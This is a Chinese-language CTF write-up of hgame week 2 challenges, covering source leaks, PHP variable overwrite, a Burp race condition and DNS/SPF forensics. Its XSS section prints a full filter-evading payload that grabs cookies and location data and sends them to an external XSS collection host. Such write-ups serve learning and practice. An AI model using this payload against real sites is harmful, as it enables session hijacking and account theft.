Hgame Week2 Writeup
摘要
菜鸡视角 hgame 游戏体验
WEB
第一题

首先,/www.zip 存在源码泄露。

1 |
|
通过阅读源码了解到,需要以 admin 账户登录才能获得 flag。 但是很显然我们只能利用 php比较漏洞 来登录 testuser 账户,但是这样显然无法得到 flag。

但是 admin 被加密的 MD5 尝试了很多办法也无法解码。这时候得利用 变量覆盖 将$_SESSION['username']
的值变为 admin
。
在lazy.php
存在一段过滤代码,会将请求中所有键名进行过滤,但是只过滤了一遍,这里造成了漏洞。
我们可以构造 payload :
1 |
|
POST 发送数据即可得到flag

第二题
这题很明显是考的 XSS,为此煞费苦心自己搭建了一个 XSS 平台,用的是莲花战队的源码

题目图下:


网页逻辑:第一个文本框中输入信息,点击 Post it 后会显示在下面的留言区;第二个输入框输入验证码,点击提交后,服务器会自动浏览你的留言。但是我们必须有管理员的 token 才能点击左上角的 flag 获得 flag。所以我们要做的:
写一段 xss代码 能够截取浏览者cookies 并发送到 xss平台
爆破一个字符串,使得这个字符串经过 MD5 加密后的前六位与验证码提示框中给出的验证码相同
等待服务器读取留言,xss 平台会收到来自 admin 的 token
使用管理员的 token 点击 flag 获取答案
这个网站的 XSS 过滤原则很有趣,script
变div
,遇到http
ptth
直接删除,遇到onerror
转换成rorreon
并将所有字符串反转,遇到rorreon
转换成onerror
并将所有字符串反转
经过精致打磨,写出了 xss 代码如下:
>vid<>";)()};))()}}''nruter{)e(hctac}'':ferh.noitacol.renepo.wodniw?)ferh.noitacol.renepo.wodniw&&renepo.wodniw(nruter{yrt{)(noitcnuf((epacse+'=renepo&'+))()}}''nruter{)e(hctac}eikooc.tnemucod nruter{yrt{)(noitcnuf((epacse+'=eikooc&'+))()}}''nruter{)e(hctac}ferh.noitacol.pot nruter{yrt{)(noitcnuf((epacse+'=noitacolpot&'+))()}}''nruter{)e(hctac}ferh.noitacol.tnemucod nruter{yrt{)(noitcnuf((epacse+'=noitacol&1=noissespeek?/'+etisbew=crs.))(egamI wen({)(noitcnuf(;'php.xedni/moc.sduolcjm.ssx//:s'+b+a=etisbew rav ;'ptt'=b rav ;'h'=a rav"=rorreon x=crs gmi<>vid/<
提交后不一会,我的 XSS 收到了我自己的 cookies。


说明 XSS成果,下一步是要破解那个验证码。无从下手,于是写了个 Python 爆破,就测试五位数字看看,跑不出那就删除 cookie 刷新页面,重发脚本,使用新的验证码,总有能成功的。
1 |
|
当时我成功了:

提交!随后 XSS 平台就收到了管理员的token :

修改 token 得到 flag !
第四题

先注册账号,这里不吐槽了,简单的用户名已经都被注册了….

很明显,差两张券,这里运用条件竞争,方便点用 Burp,低线程兑换券,一次兑换一张,高线程兑换非法数量的券,我使用数量 0 ,设置如下(左侧100线程,右侧50线程):



Attack!
不一会就有结果了:

flag GET!
Crypto
第三题
很 esay 直接上脚本:
1 |
|

FLAG get!
MISC
第四题

pcapng 文件,使用 Wireshark 打开,迅速锁定一个奇怪网址:

去 cf.hgame2021.cf 看看,发现有连续不断的弹窗。

那我们禁用 js

获得线索,flag 果然不在这 ….
既然说到 SPF 那我们就查看一下 SPF记录吧。

然后 flag 就出来了?
总结
自己好菜